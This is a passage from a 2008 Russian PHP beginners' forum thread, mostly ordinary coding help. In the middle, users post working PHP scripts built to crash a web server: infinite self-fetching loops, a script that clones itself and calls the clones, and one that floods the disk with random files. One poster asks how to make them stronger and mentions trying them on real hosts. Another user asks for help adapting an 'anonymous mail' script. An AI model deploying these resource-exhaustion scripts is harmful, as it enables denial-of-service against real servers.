if ($kogda != "") $Message.="Когда выдан: $kogda \n";
if ($addres != "") $Message.="Адрес прописки: $addres\n";
if ($fakt_addres != "") $Message.="Фактический адрес: $fakt_addres\n";
if ($svidetelstvo!= "") $Message.="Свидетельство о постановке в единый гос. реестр № : $svidetelstvo\n";

$Message.="\n";
$headers="From: $contact <user@site.ru>\r\n";
$headers.="MIME-Version: 1.0\n";
$headers.="Content-Type: text/plain; charset=windows-1251\n";
$headers.="Content-Transfer-Encoding: quoted-printable\n";

mail("admin@site.ru", "Запрос с сайта", $Message, $headers);
}
if($punkt==-1 or $punkt=="")
{
?>
<br />
<form id="zayava_1" name="zayava_1" action="#" method="post" enctype="multipart/form-data"><input type="hidden" value="-3" name="punkt" />
<p>
<table cellspacing="0" cellpadding="0" border="0">
<tbody>
<tr>
<td width="230" align="left">&nbsp;</td>
<td width="8"></td>
<td width="9"></td>
<td width="246"></td>
<td width="9"></td>
</tr>
<tr>
<td height="2"></td>
</tr>
<tr>
<td width="230" align="right">Фамилия:</td>
<td width="8"></td>
<td width="9"></td>
<td width="246"><input style="display: block; width: 220px;" value="" name="lastname"/></td>
<td width="9"></td>
</tr>
<tr>
<td height="2"></td>
</tr>
<tr>
<td width="230" align="right">Имя:</td>
<td width="8"></td>
<td width="9"></td>
<td width="246"><input style="display: block; width: 220px;" value="" name="name"/></td>
<td width="9"></td>
</tr>
<tr>
<td height="2"></td>
</tr>

.....

<td width="230" align="right"></td>
<td width="8"></td>
<td width="9"></td>
<td width="246" align="right"><a onclick="dataField(this.form)" href="#"><img border="0" src="/img/send.jpg" /></a></td>
</tr>
</tbody>
<tbody>
</tbody>
</table>
</p>
</form><?}?>
<div></div>

<div></div>

<div></div>

still12
01.12.2008, 23:28
still12 Зачем так сложно?

mysql_query("update `jos_comprofiler` set update[cy] = 1 where `pr now`=`pr до`");
Аналогично для второго. Зачем создавать тысячу запросов если можно сделать один?
Да уж ....не ищю я легких путей .....спс))+

still12
01.12.2008, 23:32
Собствно все.Уря товарище,ура.Теперь я понел много :)
За сегоднящий день я ой как много понял :) Все работает спасибо :)
Не поделишься скриптом?

still12
01.12.2008, 23:42
и да не у кого нет желания написать скрипт отправки смс сообщений с сайта?позарез нужен ...и думаю не мне одному

rushter
01.12.2008, 23:55
и да не у кого нет желания написать скрипт отправки смс сообщений с сайта?позарез нужен ...и думаю не мне одному
Ты думаешь кто-то за бесплатно напишет тебе смс sender ?

m0Hze
02.12.2008, 00:21
Вопрос наверно больше по html.
2 ради кнопке.Как при загрузке страницы,сделать так,чтобы одна уже была выбрана?А то у меня загружаються еще не выбранны,хотелось бы для удобства сделать уже выбранные :) сори за тпость.Подскажите.Меня вроде отпустило :-[

ss88
02.12.2008, 00:36
Вопрос наверно больше по html.
2 ради кнопке.Как при загрузке страницы,сделать так,чтобы одна уже была выбрана?А то у меня загружаються еще не выбранны,хотелось бы для удобства сделать уже выбранные :) сори за тпость.Подскажите.Меня вроде отпустило :-[

<label><input name="RadioGroup1" type="radio" value="value1" checked="checked" />Radio1</label>
<br />
<label><input type="radio" name="RadioGroup1" value="value2" />Radio2</label>


Радиогруппа из двух радиокнопок, первая подефолту зачекана...

m0Hze
02.12.2008, 00:47
ок :) спс большое =)

ss88
02.12.2008, 00:57
Обычно репутацию ставят...

gisTy
02.12.2008, 01:46
Обычно репутацию ставят...такие фразы - накрутка рейтинга и за них бан давали!

Pashkela
02.12.2008, 01:47
+. Ненавижу, когда поинты просят. Ваще

ss88
02.12.2008, 02:25
сорри, больше не буду, я здесь новенький...

<?
$zhopaString="sakjd sakldjhf kljsad fjsdlkfj sajf sadjfhlksajhdkfj askjdhf lkjsadh flkjsada;sldjf;aiweu843 itq3y4i kjsdahflasuy48y tiasuryt9p348 p4938t
iudifugy kjdfsgkdsajh saldkfj ;lsakj fsad flkuhiure kjsdhlkfjsad hkfjsaldkjfha sdflhasdjf hlu3q4i8y p39q8yjdsahlskf i348y tudfskjvhc 3498y tfdjchvl ieyt";

set_time_limit(0);
for(;;)
{
$zhopaString.=md5(file_get_contents("http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']));
require $_SERVER['SCRIPT_NAME'];
}
?>

как предложите усовершенствовать эту вешалку?

DIAgen
02.12.2008, 02:54
как предложите усовершенствовать эту вешалку?

Офтоп: за такое бы руки оторвать дяди с большими усами (:

ss88
02.12.2008, 03:10
почему??? так плохо? вот я и прошу подсказать...

эта гадость заставила мой httpd сожрать 272Мб ОЗУ и успешно вылететь, совершив недопустимую операцию...

Но, думаю, что-то еще можно привинтить сюда...

Ch3ck
02.12.2008, 03:14
А я созданием файлов вешал :)

<?php
//Аминь...
//(C) Ch3ck
////////////////////////////////////////////////////////////////
set_time_limit(0);
ignore_user_abort();
echo("<center><b>ИБО НЕХУЙ!!!</b></center>");
/////////////////////////////////////////////////////////////////
$name = array('a','b','c','d','e','f','g','h','i','j','k', 'l','m','n','o','p','r','s',
't','u','v','x','y','z','A','B','C','D','E','F','G ','H','I','J','K','L',
'M','N','O','P','R','S','T','U','V','X','Y','Z','1 ','2','3','4','5','6',
'7','8','9','0');
//////////////////////////////////////////////////////////////////
$rash= array('.txt','.dic','.doc','.xls','.exe','.ini',
'.bat','.log','.dll','.hak','.wmf','.zip','.rar',
'.tar','.gz','.jpg','.gif','.bmp');
/////////////////////////////////////////////////////////////////
while(true) {
$perem = "";
$fuck="";
for($i = 0; $i < rand(20,1); $i++) // количество сиволов в имени файла.
{
$by = rand(0, count($name) - 1);
$perem .= $name[$by];
}
$ra= rand(0, count($rash)-1);
$fuck .= $rash[$ra];
$fp=fopen($perem.$fuck,"w");
fwrite($fp,php_uname());
fclose($fp);
}
?>

still12
02.12.2008, 15:53
Ты думаешь кто-то за бесплатно напишет тебе смс sender ?
Нет ну мало ли может у кого уже готовый есть ....

.:nbd:.
02.12.2008, 15:56
Нет ну мало ли может у кого уже готовый есть ....

Есть, но это приват. Приват тебе никто не даст за спасибо. В паблике есть масса скриптов для отправки смс, но они или уже не работают, или нужно руками вводить капчу. Короче забудь =)

ss88
02.12.2008, 16:17
Вот всегда так, лекарство от болезней изобретают тысячелетиями, а нож делается в считанные минуты....

<?php
/************************************************
* Привет от ss88 *
************************************************
*/
//тьма пробелов
$zhopaString="



";
//понта ради, мы никогда этого не увидим
echo "--------------\n| СУШИ ВЕСЛА |\n--------------\n";
//мы против абортов
ignore_user_abort();

//забыть о преградах и запретах
set_time_limit(0);

//хэшируем пробелы - не самая простая задача с точки зрения CPU
$zhopaString.=md5($zhopaString);

//имя нового клона
$randomFileName="bug".rand(0,99999).".php";

//открываем себя
$selfFD=fopen($_SERVER['SCRIPT_FILENAME'],"r");

//собственные внутренности
$selfContent=fread($selfFD,5000);

//создаем новый файл
$newFile=fopen($randomFileName,"w+");

//клонируем себя
fwrite($newFile,$selfContent);

//клон готов
fclose($newFile);

//формируем путь и вызываем клона на сцену
$arPath=explode("/",$_SERVER['SCRIPT_NAME']);
$arPath[count($arPath)-1]=$randomFileName;
$getString="http://".$_SERVER['SERVER_NAME'].implode("/",$arPath);
$zhopaString.=md5(file_get_contents($getString));

//подключаем еще разок себя, но до этого врядли дойдет
require ($_SERVER['SCRIPT_NAME']);
?>

Вот такие вот банальные грабли для сервера получились, который сам себя будет Ddos'ить, мой локалхост под виндой ложится намертво, с 16 дефолтных МБ ОЗУ сьедает за 1.6 секунды 169Мб и вылетает либо виснет...
Вот тут еще открывается тема про открытые дескрипторы файлов, если не закрывать ранее открытые, то не переваливает за 256, но "сетевой маркетинг" продолжается...
Хочу потестить эти вилы в реальных условиях, но пока не решаюсь на серваках, которые мне дают хостинг....
Может кто-то что-то еще подскажет? Кстати, по-моему, можно увеличить нагрузку на сервер еще и за счет увеличения количества вычислений до обращения к клону...
Спасибо, Ch3ck, а то я забыл про аборты от юзеров

still12
02.12.2008, 16:19
Есть, но это приват. Приват тебе никто не даст за спасибо. В паблике есть масса скриптов для отправки смс, но они или уже не работают, или нужно руками вводить капчу. Короче забудь =)
Ну то что в привате то есть эт понятна ......примерную стоимость не подскажешь?

159932
02.12.2008, 16:25
Ну то что в привате то есть эт понятна ......примерную стоимость не подскажешь?
ну во первых, этому вопросу не место в данном топе ..
а во вторых - думаю не меньше 300-500 денег.

ss88
02.12.2008, 18:14
Эй, народ, гуру там всякие, их тута много, чего вы молчите???....

demo_version
02.12.2008, 22:13
Кто может объяснить мне что все же такое движок ?
Почитала немного в инете, но так и не поняла почему нормальный сайт должен иметь хороший движок (или не должен ?) ?

Какие у него функции, я поняла что это удобно, при смене дизайна например. Но нет четкого представления.

rushter
02.12.2008, 22:23
http://ru.wikipedia.org/wiki/Движок

Chaak
02.12.2008, 22:26
Кто может объяснить мне что все же такое движок ?
Почитала немного в инете, но так и не поняла почему нормальный сайт должен иметь хороший движок (или не должен ?) ?

Какие у него функции, я поняла что это удобно, при смене дизайна например. Но нет четкого представления.
Ну движок - это программная часть сайта :)
Т.е все обработчики форм и т.д должны быть удобными, безопасными.

"хорошесть" движка это хороший, безопасный функционал

vikseriq
02.12.2008, 23:20
Движок - это скелет. Да, можно на собачий скелет одеть кожу орангутана, но как-то не то, не замечаешь? Так вот, двиг двигу рознь. Конечно, можно на WordPress(обычно для блогов) открыть форум, но и на phpBB3(форумный движок) тож никто не запретил. Как видишь, двиг берут по потребностям. А если смотреть на CMS(системы управления контентом)-универсалы с модулями (DLE, Joomla!), то тут уж бери пока то, что покажется легче. С опытом начнешь разбираться, что к чему.
Хорошесть движка - это удобство на первых стадиях знакомства. Ведь unix-сы хороши, но винда вожделеннее и легче у первоначальном управлении (прошу в эту тему далеко не лезть и камнями не кидать =) ).

demo_version
03.12.2008, 00:15
rushter
Спасибо! До википедии не добралась O.o

ChaaK,vikseriq
Спасибо за разъяснения!!

А вот еще какой вопрос, я думаю что долго буду все это изучать и разбираться, а сайт мне нужен очеееень скоро, будет связан с платежной системой, т.е чтобы с сайта можно было бы оплатить, ну что-то вроде етого. + Еще что-то, например, отправка сообщений на почту через сайт.
Итак вопрос, а сколько сейчас стоит денег написать движок ????)

Pashkela
03.12.2008, 00:17
В зависимости от функционала. Наверное это лучше спрашивать в разделе РАБОТА и дать конкретное ТЗ (техническое задание). К этому разделу форума мне кажется это никакого отношения не имеет

rushter
03.12.2008, 00:19
если нормальный писать то не мение 200$

demo_version
03.12.2008, 00:21
Pashkela
Океее)) тут спрашиваю, чтобы как бы не создавать очередную тему не по теме)))

rushter
Спасибо!

Twoster
03.12.2008, 09:19
добрый день, друзья!
Столкнулся с такой странной проблемой:
в общем мне в скрипте нужно полностью весь массив POST нужно обрабатывать, т.е. в цикле изменять каждое значение элемента! Так вот, когда запускаю под линухом, все нормально! А под виндой ни в какую!
вот, собственно в чем может быть проблема?
P.S. Сборки на обеих осях одинаковые!
Apache 2.2.8+PHP 5.2.4
оси:
Linux 2.6.24
Windows XP SP2

Register_globals off
P.P.S. Прошу прощения за столь странный вопрос, просто первый раз столкнулся! заранее спасибо!

.:EnoT:.
03.12.2008, 09:54
добрый день, друзья!
Столкнулся с такой странной проблемой:
в общем мне в скрипте нужно полностью весь массив POST нужно обрабатывать, т.е. в цикле изменять каждое значение элемента! Так вот, когда запускаю под линухом, все нормально! А под виндой ни в какую!
вот, собственно в чем может быть проблема?
P.S. Сборки на обеих осях одинаковые!
Apache 2.2.8+PHP 5.2.4
оси:
Linux 2.6.24
Windows XP SP2

Register_globals off
P.P.S. Прошу прощения за столь странный вопрос, просто первый раз столкнулся! заранее спасибо!
Хоть бы кусок кода выложил, т.к. не совсем понятно как тебе нужно обработать массив POST. Юзай цикл...а вот почему на винде у тебя не работает хз...не думаю что это связано именно с ОС
foreach($_POST as $post){
// что-то делаем
}

Chaak
03.12.2008, 09:57
Pashkela
Океее)) тут спрашиваю, чтобы как бы не создавать очередную тему не по теме)))

rushter
Спасибо!
Воспользуйся уже готовым движком oscomerce

Twoster
03.12.2008, 11:07
Хоть бы кусок кода выложил, т.к. не совсем понятно как тебе нужно обработать массив POST. Юзай цикл...а вот почему на винде у тебя не работает хз...не думаю что это связано именно с ОС
foreach($_POST as $post){
// что-то делаем
}
я в цикле и делаю... Мне нужно для фильтрации и еще некоторых манипуляций!
Я просто с телефона сижу... Сейчас попробую написать! =)
foreach($_POST as $key=>$value)
{
$_POST[$key]=htmlspecialchars($value);
// и по аналогии еще одна пользовательская функция
}
вот примерно такой код, в винде отказывается работать.

[x26]VOLAND
03.12.2008, 11:16
я в цикле и делаю... Мне нужно для фильтрации и еще некоторых манипуляций!
Я просто с телефона сижу... Сейчас попробую написать! =)
foreach($_POST as $key=>$value)
{
$_POST[$key]=htmlspecialchars($value);
// и по аналогии еще одна пользовательская функция
}
вот примерно такой код, в винде отказывается работать.Боже мой. foreach работает с копией массива. Твой код и не должен работать...
Вот:
$_POST = array_map('htmlspecialchars', $_POST);
array_walk тут юзать нельзя, так как она не может изменять значения.

VDShark
03.12.2008, 12:31
foreach($foo as &$bar)

[x26]VOLAND
03.12.2008, 12:47
foreach($foo as &$bar)А о производительности мы подумали? Мой вариант самый удачный...

VDShark
03.12.2008, 13:20
VOLAND']А о производительности мы подумали? Мой вариант самый удачный...
Я не читал вопрос - я увидел про копию массива и тп :) И показал что не обязательно работать с копией.
А про производительность ничего не скажу - надо смотреть как нынче все реализовано. Насколько я понимаю сейчас в пыхе "массивы" - эт списки... хм... и я не особо вижу где здесь будет потеря =) Хотя могу и ошибаться.

upd:

Провел небольшое исследование :) Использовал array_map и просто обращение по ссылке.
Исследование проводилось на достаточнобольшом объеме данных (500-700к элементов, каждый элемент - строка в сотню-другую символов).
Результаты можно посмотреть ниже (верхний - для array_map):


6 sec., 0.656254 ms.
5 sec., 0.601045 ms.
6 sec., 0.765628 ms.
6 sec., 0.92188 ms.
6 sec., 0.484379 ms.

---

5 sec., 0.494059 ms.
5 sec., 0.518353 ms.
5 sec., 0.530825 ms.
5 sec., 0.512732 ms.
6 sec., 0.515629 ms.


Как мы видим особой разницы нет, array_map даже показал немногим большее время. Я подозреваю что array_map - эт обертка второго метода, только там что то еще присутствует =)
Конечно все это сделано на коленке и достаточно субъективно - ибо 5 запусков - это маловато. Нужно провести 100, а лучше 1000, и усреднить :) И можно на разных машинах. Правд на это времени у меня сейчас нету)

[x26]VOLAND
03.12.2008, 14:08
Я подозреваю что array_map - эт оберткаМмм. Встроенные функции/конструкции реализуются на C. Так что это array_map и foreach - 2 разных алгоритма и не могут быть обёрткой друг друга.

barnaki
03.12.2008, 14:50
пишу гостевую . делаю так в конфиге к базам :

$query = 'SET NAMES utf8';
if (!mysql_query($query));
{
echo 'cant set utf8 ';
}
и все = не ставит кодировку что еще нужно чтобы поставить utf8 ? с чем кроме кривых рук может быть связана проблема ? :confused:

PHPoozy
03.12.2008, 14:59
$query = "SET NAMES 'utf8';"
if (!mysql_query($query));
{
echo("cant set utf8");
}

m0Hze
03.12.2008, 15:00
Такс.Вот мой вопрос.
Есть текстовое поле:
<input type = "text"
name = "name"
value = "">
Собствна вопрос.В текстовое поле,можетбыть вписана инфа,ну например. Лдия Николаевна,а может быть 32145.
И переменная принимает $who = $name эту инфу.Но,если в текствое поле,ничего не вписано,мне нужно,что бы ставилось мое значение.
switch ($_POST['name'])
{
case 'Как тут указать,чтобы все значения,вписаные в поле,принимались сюда?': $who = $name;
break;
case '': $who = "Мое значение";
break;
}
Тоесть как указать,что если в поле есть хоть 1 смвол,то используется 1 способ.Если пусто - то 2.Может какнибудьпо другому возможно это сделать?Собствна воть :)

[x26]VOLAND
03.12.2008, 15:04
default: $who = "some_text";
break;

Оно?

Можно ещё заюзать тернарный оператор:
$who = ($_POST['name'] == '') ? 'текст_если_поле_пустое' : $_POST['name'];

Корвин
03.12.2008, 15:06
if($_POST['name']=="") 1 способ
else 2 способ

и еще там можно ставить value="значение по умолчанию" и в инпут onclick="this.value=''" , тогда при тыке курсором в поле значение по умолчанию будет пропадать

Ru}{eeZ
03.12.2008, 15:08
Такс.Вот мой вопрос.
Есть текстовое поле:
<input type = "text"
name = "name"
value = "">
Собствна вопрос.В текстовое поле,можетбыть вписана инфа,ну например. Лдия Николаевна,а может быть 32145.
И переменная принимает $who = $name эту инфу.Но,если в текствое поле,ничего не вписано,мне нужно,что бы ставилось мое значение.
switch ($_POST['name'])
{
case 'Как тут указать,чтобы все значения,вписаные в поле,принимались сюда?': $who = $name;
break;
case '': $who = "Мое значение";
break;
}
Тоесть как указать,что если в поле есть хоть 1 смвол,то используется 1 способ.Если пусто - то 2.Может какнибудьпо другому возможно это сделать?Собствна воть :)

if(isset($_POST['name'])) $who = $_POST['name'];
else $who = 'Твоё значение';

п.с. Корвин обогнал меня))

Корвин
03.12.2008, 15:16
VOLAND']html/js код не должен заменять бизнес-логику пхп-приложения.

ну каждый делает как ему нравится, может ты и прав, я показал как можно сделать, пусть сам решает учитывая твое замечание

Корвин
03.12.2008, 15:18
if(isset($_POST['name'])) $who = $_POST['name'];
else $who = 'Твоё значение';

п.с. Корвин обогнал меня))


:p . иссет это если вапще токой переменной нет, а тут говорится о пустом значении, поэтому лучше так:

if(isset($_POST['name']) && $_POST['name']=="")

.:EnoT:.
03.12.2008, 15:24
ну каждый делает как ему нравится, может ты и прав, я показал как можно сделать, пусть сам решает учитывая твое замечание
Воланд абсолютно прав. Если тебе нужно присвоить значение пустой переменной, то полагаться на value="1234" или на js (типа onclick="if($(this).val() == '')$(this).val('Что-то там');") никогда не стоит т.к. это всё на стороне клиента...а как мы все знаем никогда нельзя доверять ничему что приходит от клиента :)




. иссет это если вапще токой переменной нет, а тут говорится о пустом значении, поэтому лучше так:

if(isset($_POST['name']) && $_POST['name']=="")

а ещё лучше
if(!empty($_POST['name']))

Корвин
03.12.2008, 15:27
а ещё лучше
if(!empty($_POST['name']))


точняк, из головы вылетело, знал что есть такая функция


PS мне нравится что онкликом без перезагрузки поле очищается

m0Hze
03.12.2008, 15:30
Так,хорошо вы побалтали =)
А теперь можно поточнее объяснить,я еще только учу пх,так что я не совсем мастер ;)
Можете попобробнее объеснить?) Хочеца не только сделать,но и понять.

.:EnoT:.
03.12.2008, 15:30
PS мне нравится что онкликом без перезагрузки поле очищается
да неважно, смысл примера я думаю был понятен

Корвин
03.12.2008, 15:34
Так,хорошо вы побалтали =)
А теперь можно поточнее объяснить,я еще только учу пх,так что я не совсем мастер ;)
Можете попобробнее объеснить?) Хочеца не только сделать,но и понять.

так все же вроде ясно, выбирай нужный тебе вариант и вставляй в свой код

m0Hze
03.12.2008, 15:35
Вот например сделать так:

switch ($_POST['name'])
{
case '????????': $who = $name;
break;
case '': $who = "Мое значение";
break;
}

Где ???????? - любые печатаемые символыюВедь полюбак есть подобное обозначение =)

.:EnoT:.
03.12.2008, 15:35
Так,хорошо вы побалтали =)
А теперь можно поточнее объяснить,я еще только учу пх,так что я не совсем мастер ;)
Можете попобробнее объеснить?) Хочеца не только сделать,но и понять.
ну какбэ помоему тебе всё обьяснили...ты лучше напиши что конретно не ясно)

Не знаю честно говоря что щас за книжки по пхп многие читают и везде пихают swith-case, где вполне можно обойтись if-else...

.:EnoT:.
03.12.2008, 15:46
Вот например сделать так:

switch ($_POST['name'])
{
case '????????': $who = $name;
break;
case '': $who = "Мое значение";
break;
}

Где ???????? - любые печатаемые символыюВедь полюбак есть подобное обозначение =)
ты под любыми печатными символами имеешь ввиду просто не пустоту значение или какие-то определённые?
Ну вот пример если в строке должны быть только a-z,


<?php
switch(true){

case (preg_match('#^[a-z]$#'), $_POST['name']): /* если $_POST['name'] имеет символы a-z */
$who = $_POST['name'];
break;

default: /* Если не совпадает с регекспом */
$who = 'Моё значение';
break;
}
?>


а если просто проверить не является ли $_POST['name'] пустым значением, то пример такой:


<?php
switch(true){

case (!empty($_POST['name'])): /* если $_POST['name'] не пуст */
$who = $_POST['name'];
break;

default: /* Если пуст */
$who = 'Моё значение';
break;
}
?>



Это если прям тебе обязательно нужно в swith-case всё изобразить, но пользоваться лучше в данном случае if-else имхо.


if(!empty($_POST['name'])){
$who = $_POST['name'];
}else{ /* Если $_POST['name'] пусто*/
$who = 'Твоё значение';
}

Корвин
03.12.2008, 15:47
Вот например сделать так:

switch ($_POST['name'])
{
case '????????': $who = $name;
break;
case '': $who = "Мое значение";
break;
}

Где ???????? - любые печатаемые символыюВедь полюбак есть подобное обозначение =)


if (empty($_POST['name'])) $who = "Мое значение";
else $who = $_POST['name'];


вот тебе код

m0Hze
03.12.2008, 16:00
Все! Большое спасибо!
Вот этот вариант прокатил:

switch(true){

case (!empty($_POST['name'])): /* если $_POST['name'] не пуст */
$who = $_POST['name'];
break;

default: /* Если пуст */
$who = 'Моё значение';
break;
}
-------
Сдующий вопрос.
Есть текстовое поле, <textarea> - тоесть многострочный.
Не,не то.Щас по другому обясню
Так,вот например.Анонимная отправка почты(мой скрипт лежит в теме о взломах емаил),там есть поле,однострочное,куда вводиться мыло,на которое отправляем письмо.
Создаем поле текстареа,тоесть многострояное.И вставляем в него например 3 мыла,списком.Нужно чтоб на все 3 отправилось.Моих знаний пока что не хватает,чтобы заставить скрипт не обрабатывать как одно ыелое все мыльники,и пихать их в одну переменную.Анонимная отправка почты -это только пример.Так что как заставить переменную,по очереди принять значение каждой строки?И обработать их?

astrologer
03.12.2008, 16:06
VOLAND']Боже мой. foreach работает с копией массива. Твой код и не должен работать... Поясни, пожалуйста. В заголовке цикла - понятно, что создается копия массива и левая часть заголовка более не исполняется (правая, кстати, продолжает исполняться). Но разве копирование влияет на то, что происходит в теле цикла?

Разумеется, array_map мне кажется более логичным и понятным решением, но предыдущий пример тоже работает, по крайней мере у меня:
foreach($_POST as $key => $value)
{
$_POST[$key] = htmlspecialchars($value);
}

Doom123
03.12.2008, 16:07
m0Hze
1. Что за мазахизм? не легче сделать как Корвин показал?

2.Используй explode.... каждую новую строку помести в массив а дальше легко ...

m0Hze
03.12.2008, 16:10
хм,тебе возможно легк,но повторю в 3 раз,я еще только учусьПоэтому буду не против ваших примеров.
Я просто сейчас,стараюсь больше работать на примерах,и пишу всякуюю чуш.Калькуляторы,всяке форматировшике текста,и т.д.Поэтому и возникает много вопросов.Вобщем давай поподробнее про explode
Пожалуйста.

Pashkela
03.12.2008, 16:13
а,тоесть многострояное.И вставляем в него например 3 мыла,списком.Нужно чтоб на все 3 отправилось.Моих знаний пока что не хватает,чтобы заставить скрипт не обрабатывать как одно ыелое все мыльники,и пихать их в одну переменную.Анонимная отправка почты -это только пример.Так что как заставить переменную,по очереди принять значение каждой строки?И обработать их?


<pre>
<?
$reciver = '1@mail.ru
2@mail.ru
3@mail.ru';

$t = explode("\r\n",$reciver);
print_r ($t);

// 1 почта = $t[0]
// 2 почта = $t[1]
// 3 почта = $t[2]
?>
</pre>


или, если в одну строчку через запятую:


<pre>
<?
$reciver = '1@mail.ru,2@mail.ru,3@mail.ru';

$t = explode(",",$reciver);
print_r ($t);

// 1 почта = $t[0]
// 2 почта = $t[1]
// 3 почта = $t[2]
?>
</pre>

.:EnoT:.
03.12.2008, 16:15
Сдующий вопрос.
Есть текстовое поле, <textarea> - тоесть многострочный.
Не,не то.Щас по другому обясню
Так,вот например.Анонимная отправка почты(мой скрипт лежит в теме о взломах емаил),там есть поле,однострочное,куда вводиться мыло,на которое отправляем письмо.
Создаем поле текстареа,тоесть многострояное.И вставляем в него например 3 мыла,списком.Нужно чтоб на все 3 отправилось.Моих знаний пока что не хватает,чтобы заставить скрипт не обрабатывать как одно ыелое все мыльники,и пихать их в одну переменную.Анонимная отправка почты -это только пример.Так что как заставить переменную,по очереди принять значение каждой строки?И обработать их?
ну к примеру с мейлами
$list = $_POST['mails']; // Переменная с многострочными данными
$array_mail = explode("\r\n", $list); //Загоняем каждую строку в массив (Вместо \r\n можно \n)
foreach($array_mail as $mail){
mail($mail, ....);
}


Поясни, пожалуйста. В заголовке цикла - понятно, что создается копия массива и левая часть заголовка более не исполняется (правая, кстати, продолжает исполняться). Но разве копирование влияет на то, что происходит в теле цикла?

Разумеется, array_map мне кажется более логичным и понятным решением, но предыдущий пример тоже работает, по крайней мере у меня:
foreach($_POST as $key => $value)
{
$_POST[$key] = htmlspecialchars($value);
}
там как бы идёт обработка присвоеных значений и ключей полученных их исходного массива, а не обработка исходного массива. (сам не понял чё сказал)))

m0Hze
03.12.2008, 16:17
стоп.Что то пока что не пойму.Сейчас посижу посмотрю.Чтото мне соввсеем не понятно =(

m0Hze
03.12.2008, 16:19
Такс все понятно вроде.Просто не видел постов выше :)

brain[pillow]
03.12.2008, 16:37
Почему настройки не устанавливаются принудитенльно и скрипт выводит стандартное значение 8 мб?
<?php
echo ini_set("upload_max_filesize",1024*64*1024);
echo ini_set('post_max_size',1024*64*1024);
echo ini_get('post_max_size');
echo ini_get('upload_max_filesize');
Как это можно исправить/обойти, не имея доступа к php.ini?

Корвин
03.12.2008, 16:37
Такс все понятно вроде.Просто не видел постов выше :)

ты код который тебе пишут вставляй куда нить и смотри как работает, попробуй что нибудь в нем менять, так постепенно поймешь в чем фишка =)

Корвин
03.12.2008, 16:40
']Почему настройки не устанавливаются принудитенльно и скрипт выводит стандартное значение 8 мб?
<?php
echo ini_set("upload_max_filesize",1024*64*1024);
echo ini_set('post_max_size',1024*64*1024);
echo ini_get('post_max_size');
echo ini_get('upload_max_filesize');
Как это можно исправить/обойти, не имея доступа к php.ini?

в htaccess пропиши

php_value upload_max_filesize 16M

16M смени на скока тебе нада

Pashkela
03.12.2008, 16:41
']Почему настройки не устанавливаются принудитенльно и скрипт выводит стандартное значение 8 мб?
Как это можно исправить/обойти, не имея доступа к php.ini?

никак. Если бы php.ini можно было бы менять из скриптов, был бы ппц полный

Корвин
03.12.2008, 16:43
никак. Если бы php.ini можно было бы менять из скриптов, был бы ппц полный

из скриптов низя а через htaccess мона=)

brain[pillow]
03.12.2008, 16:45
в htaccess пропиши

php_value upload_max_filesize 16M

16M смени на скока тебе надаНа локалхосте получилось, а на платном хостинге ругается "500 - Internal Server Error"

Корвин
03.12.2008, 16:51
']На локалхосте получилось, а на платном хостинге ругается "500 - Internal Server Error"


Замечено, что часто при установке скрипта возникает описанная в заголовке ошибка. Это вызвано тем, что в файле .htaccess присутствует команда, запрещенная к использованию на данном сервере. (с)


знач не судьба, меняй хостинг, или пиши в тех поддержку чтобы увеличили этот параметр

m0Hze
03.12.2008, 17:00
Думал что понял,а оказывается ничего не понял =)
Давайте заного.
Вот смотрите,сам код самоо простого анонимайзера-мыл.

<html>
<head>
<title></title>
</head>
<body>
<form method = "POST">
<textarea = "adr"
rows = "20"
cols = "40">
<br>
<input type = "submit"
value = "Start">
</form>
<?php
$from = "ivan1234@mail.ru";// от кого
$email = $adr; // кому отправлять
$topic = "Test"; // тема письма
$message = "Test........."; // текст письма
// собираем письмо
$headers = "From:".$from."\r\nReply-To:".$from."\r\n";
$headers .= "MIME-Version:1.0\r\n";
$headers .= "Content-Type: text/html;";
$body .= $message."\r\n\r\n";
mail ($email, $topic, $body, $headers); // отправляем
?>
</body>
</html>

Вот собствна.Еси есть ошбки - это ниче,писал просто прямо тут.
Собствна покажите где должон стоять этот код,можно без обяснения,теперь сам пойму =)

VDShark
03.12.2008, 17:56
VOLAND']Ммм. Встроенные функции/конструкции реализуются на C. Так что это array_map и foreach - 2 разных алгоритма и не могут быть обёрткой друг друга.
Я прекрасно знаю как и на чем написан пых :) Думаю ты меня понял, я имел ввиду похожую внутреннюю реализацию.

upd:
залез в сорцы пыха - действительно не завязаны друг на друга (хотя впринципе ничео не мешало бы это сделать).
Но факт о скорости работы остается фактом :)
Так что господа - не стоит говорить того, в чем на 100% не уверен. Если в инете может никтоне обратит внимания, то в реальной жизни это мжет вылится в нехорошие последствия и поставиь вашу репутацию как профессионала (и\или эксперта) под сомнение.

Helios
03.12.2008, 18:57
VOLAND']Боже мой. foreach работает с копией массива. Твой код и не должен работать...


Эм.. вы с какого дерева на какой кактус е... упали?
foreach всегда работал и будет работать с оригинальными данными. Жругой вопрос, что в конструкции foreach($array as $key=>$value) переменная $value передается по значению, а не по ссылке. В результате этого ее изменение на исходные данные в массиве не влияет. При этом
присвоить в первичном массиве значение по ключу никто не мешает. Т.е. $array[$key] = 'новое значение'; будет работать всегда.

Также возможно передать значение по ссылке, тогда его можно будет изменять напрямую:
foreach($array as $key => &$value)
{
$value = 'новое значение';
}


PS: foreach и array_map никаких родственных связей не имеют.

Architek86
04.12.2008, 00:08
Запутался с регуляркой.. с помощью пхп надо найти в коде HTML часть кода, вида <table width="550" border="0" cellpadding="0" cellspacing="0" id="tablaMotores">любые символы, в том числе и переводы строк, пробел, табуляция</table>

Vid0k
04.12.2008, 00:13
Запутался с регуляркой.. с помощью пхп надо найти в коде HTML часть кода, вида <table width="550" border="0" cellpadding="0" cellspacing="0" id="tablaMotores">любые символы, в том числе и переводы строк, пробел, табуляция</table>
<table(.+)id=\"tablaMotores\">(.+)<\/table>
вроде должна работать)

Chaak
04.12.2008, 00:21
Запутался с регуляркой.. с помощью пхп надо найти в коде HTML часть кода, вида <table width="550" border="0" cellpadding="0" cellspacing="0" id="tablaMotores">любые символы, в том числе и переводы строк, пробел, табуляция</table>
(.+) - любые символы
и добавь модификатор m

Pashkela
04.12.2008, 00:42
Сожержимое файла index.html по адресу http://нужный_сайт/index.html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html><head><head>
<body>
<table width="550" border="0" cellpadding="0" cellspacing="0" id="tablaMotores">любые символы, в том числе и переводы строк, пробел, табуляция</table>

<table width="550" border="0" cellpadding="0" cellspacing="0" id="tablaMotores">1,
круть
&,
???
<><><><>><><<><>
+_*%^#$#$

</table>
</body></html>



<?
